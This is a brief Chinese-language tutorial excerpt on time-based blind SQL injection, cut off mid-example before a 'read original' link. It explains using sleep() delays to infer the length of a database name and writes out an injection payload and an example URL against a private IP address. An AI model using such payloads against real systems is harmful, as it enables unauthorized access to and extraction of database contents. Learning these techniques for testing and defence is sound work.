時間注入的一些基本思路

時間注入的一些基本思路 原理 利用函數sleep（）讓服務器休眠，通過休眠時間判斷執行的語句對錯，從而得到我們想要的信息 1，判斷當前庫名的長度 語法：and if (length(database())=x,0,sleep(5))#0 //判斷數據庫名字長度 實例：http://10.6.18.36/time/?type=1 and if (length(database())>11,0,sle

>>阅读原文<<